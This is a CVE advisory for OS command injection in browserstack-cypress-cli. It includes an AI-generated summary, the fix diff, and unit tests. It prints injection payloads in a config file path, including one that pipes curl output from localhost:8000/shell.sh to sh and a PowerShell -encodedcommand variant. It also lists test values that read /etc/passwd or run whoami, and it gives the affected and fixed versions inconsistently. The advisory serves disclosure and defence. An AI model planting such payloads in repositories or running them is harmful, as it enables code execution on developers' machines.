CVE-2026-48723
Description
OS command injection in browserstack-cypress-cli prior to 1.36.4 via unsanitized cypress_config_file path allows arbitrary code execution.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
OS command injection in browserstack-cypress-cli prior to 1.36.4 via unsanitized cypress_config_file path allows arbitrary code execution.
Vulnerability
The browserstack-cypress-cli npm package versions prior to 1.36.4 are vulnerable to OS command injection in the loadJsFile() function within readCypressConfigUtil.js. The function constructs a shell command by interpolating the user-controlled cypress_config_filepath value into a template literal and executes it via child_process.execSync(). Shell metacharacters such as " and ; allow breaking out of the quoted argument and injecting arbitrary commands. The fix was applied in version 1.36.6 [1][2].
Exploitation
An attacker can craft a malicious browserstack.json file containing a cypress_config_file value with shell metacharacters (e.g., cypress.config";curl localhost:8000/shell.sh|sh;".js on Unix or cypress.config"&powershell -encodedcommand abc&".js on Windows). When a victim clones a repository containing this file and runs npx browserstack-cypress-cli run, the CLI reads the configuration and passes the unsanitized path to execSync(), executing the injected commands. No authentication or special privileges are required beyond the ability to run the CLI on the victim's machine [2].
Impact
Successful exploitation allows arbitrary OS command execution with the privileges of the user running the CLI. An attacker can achieve remote code execution, exfiltrate data, install malware, or pivot to other systems. The attack targets developers and CI runners who clone and execute tests from untrusted repositories [2].
Mitigation
The vulnerability is fixed in version 1.36.6. Users should upgrade immediately. The fix replaces execSync with execFileSync and adds input validation via validateFilePath() to reject paths containing disallowed characters (semicolons, ampersands, backticks, dollar signs, pipes) [1]. No workaround is available; upgrading is the only mitigation. The CVE is not listed in CISA's Known Exploited Vulnerabilities catalog as of publication.
AI Insight generated on Jun 15, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2(expand)+ 1 more
- (no CPE)
- (no CPE)range: <1.36.4
Patches
16dbf8f9374c0fix(security): prevent command injection via cypress_config_file [APS-18613]
2 files changed · +93 −12
bin/helpers/readCypressConfigUtil.js+31 −6 modified@@ -8,6 +8,22 @@ const constants = require("./constants"); const utils = require("./utils"); const logger = require('./logger').winstonLogger; +// Defense-in-depth: reject file paths containing shell metacharacters. +// This guards against command injection even if execFileSync is ever +// replaced with a shell-based exec in the future. +const DANGEROUS_PATH_CHARS = /[;"`$|&(){}\\]/; + +function validateFilePath(filepath) { + if (DANGEROUS_PATH_CHARS.test(filepath)) { + throw new Error( + `Invalid cypress config file path: "${filepath}" contains disallowed characters. ` + + 'File paths must not include shell metacharacters such as ; " ` $ | & ( ) { } \\' + ); + } +} + +exports.validateFilePath = validateFilePath; + exports.detectLanguage = (cypress_config_filename) => { const extension = cypress_config_filename.split('.').pop() return constants.CYPRESS_V10_AND_ABOVE_CONFIG_FILE_EXTENSIONS.includes(extension) ? extension : 'js' @@ -186,13 +202,22 @@ exports.convertTsConfig = (bsConfig, cypress_config_filepath, bstack_node_module } exports.loadJsFile = (cypress_config_filepath, bstack_node_modules_path) => { + // Security: validate file path to reject shell metacharacters (defense-in-depth) + validateFilePath(cypress_config_filepath); + const require_module_helper_path = path.join(__dirname, 'requireModule.js') - let load_command = `NODE_PATH="${bstack_node_modules_path}" node "${require_module_helper_path}" "${cypress_config_filepath}"` - if (/^win/.test(process.platform)) { - load_command = `set NODE_PATH=${bstack_node_modules_path}&& node "${require_module_helper_path}" "${cypress_config_filepath}"` - } - logger.debug(`Running: ${load_command}`) - cp.execSync(load_command) + + // Security fix: use execFileSync instead of execSync to avoid shell interpolation. + // execFileSync spawns the process directly without a shell, so user-controlled + // values in cypress_config_filepath cannot break out into shell commands. + const execOptions = { + env: Object.assign({}, process.env, { NODE_PATH: bstack_node_modules_path }) + }; + const args = [require_module_helper_path, cypress_config_filepath]; + + logger.debug(`Running: node ${args.map(a => '"' + a + '"').join(' ')} (via execFileSync, NODE_PATH=${bstack_node_modules_path})`); + cp.execFileSync('node', args, execOptions); + const cypress_config = JSON.parse(fs.readFileSync(config.configJsonFileName).toString()) if (fs.existsSync(config.configJsonFileName)) { fs.unlinkSync(config.configJsonFileName)
test/unit/bin/helpers/readCypressConfigUtil.js+62 −6 modified@@ -40,9 +40,44 @@ describe("readCypressConfigUtil", () => { }); }); + describe('validateFilePath', () => { + it('should accept a normal file path', () => { + expect(() => readCypressConfigUtil.validateFilePath('path/to/cypress.config.js')).to.not.throw(); + }); + + it('should accept paths with spaces', () => { + expect(() => readCypressConfigUtil.validateFilePath('path/to my project/cypress.config.js')).to.not.throw(); + }); + + it('should reject paths with semicolons (command injection)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config";curl localhost:8000/shell.sh|sh;".js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with ampersands (Windows command injection)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config"&powershell -encodedcommand abc&".js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with backticks (subshell injection)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config`whoami`.js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with dollar signs (variable expansion)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config$(id).js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with pipe characters', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config|cat /etc/passwd')) + .to.throw(/disallowed characters/); + }); + }); + describe('loadJsFile', () => { - it('should load js file', () => { - const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string"); + it('should load js file using execFileSync', () => { + const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string"); const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}'); const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true); const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync'); @@ -51,15 +86,20 @@ describe("readCypressConfigUtil", () => { const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages'); expect(result).to.eql({ e2e: {} }); - sinon.assert.calledOnceWithExactly(loadCommandStub, `NODE_PATH="path/to/tmpBstackPackages" node "${requireModulePath}" "path/to/cypress.config.ts"`); + // Verify execFileSync is called with 'node' as first arg and array of args + sinon.assert.calledOnce(execFileStub); + expect(execFileStub.getCall(0).args[0]).to.eql('node'); + expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']); + // Verify NODE_PATH is passed via env option + expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages'); sinon.assert.calledOnce(readFileSyncStub); sinon.assert.calledOnce(unlinkSyncSyncStub); sinon.assert.calledOnce(existsSyncStub); }); - it('should load js file for win', () => { + it('should load js file using execFileSync on Windows too (no platform-specific branching needed)', () => { sinon.stub(process, 'platform').value('win32'); - const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string"); + const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string"); const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}'); const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true); const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync'); @@ -68,11 +108,27 @@ describe("readCypressConfigUtil", () => { const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages'); expect(result).to.eql({ e2e: {} }); - sinon.assert.calledOnceWithExactly(loadCommandStub, `set NODE_PATH=path/to/tmpBstackPackages&& node "${requireModulePath}" "path/to/cypress.config.ts"`); + // Same call signature on Windows - execFileSync handles cross-platform + sinon.assert.calledOnce(execFileStub); + expect(execFileStub.getCall(0).args[0]).to.eql('node'); + expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']); + expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages'); sinon.assert.calledOnce(readFileSyncStub); sinon.assert.calledOnce(unlinkSyncSyncStub); sinon.assert.calledOnce(existsSyncStub); }); + + it('should reject file paths containing command injection characters', () => { + const maliciousPath = 'cypress.config";curl localhost:8000/shell.sh|sh;".js'; + expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages')) + .to.throw(/disallowed characters/); + }); + + it('should reject Windows command injection payloads', () => { + const maliciousPath = 'cypress.config"&powershell -encodedcommand abc&".js'; + expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages')) + .to.throw(/disallowed characters/); + }); }); describe('resolveTsConfigPath', () => {
Vulnerability mechanics
Root cause
"User-controlled `cypress_config_filepath` is interpolated into a shell command string and executed via `child_process.execSync()` without sanitization, allowing shell metacharacters to inject arbitrary commands. [ref_id=2]"
Attack vector
An attacker crafts a malicious `browserstack.json` file containing a `cypress_config_file` value with shell metacharacters (e.g., `"` and `;`). When a victim clones the repository and runs `npx browserstack-cypress-cli run`, the CLI reads the config, passes the unsanitized path to `loadJsFile()` in `readCypressConfigUtil.js`, which interpolates it into a shell command executed via `child_process.execSync()`. The injected metacharacters break out of the quoted argument, allowing arbitrary OS commands to run on the victim's machine. This enables supply-chain attacks against any developer or CI runner who uses the package. [ref_id=2]
What the fix does
The patch replaces `child_process.execSync()` with `child_process.execFileSync()` in `loadJsFile()`, which spawns the `node` process directly without a shell, preventing shell metacharacters from being interpreted as command boundaries. Additionally, a new `validateFilePath()` function rejects paths containing dangerous characters (`; " ` $ | & ( ) { } \`) as defense-in-depth. The `NODE_PATH` environment variable is now passed via the `env` option instead of being embedded in a shell command prefix, which works cross-platform without shell interpolation. [patch_id=6113721]
Preconditions
- inputVictim must clone a repository containing a malicious browserstack.json file
- configVictim must run npx browserstack-cypress-cli run (or equivalent command)
Reproduction
Create a `browserstack.json` with `"cypress_config_file": "cypress.config\";curl localhost:8000/shell.sh|sh;\".js"` (Unix) or the Windows variant shown in [ref_id=2]. When a victim clones the repo and runs `npx browserstack-cypress-cli run`, the injected command executes. [ref_id=2]
Generated on Jun 16, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.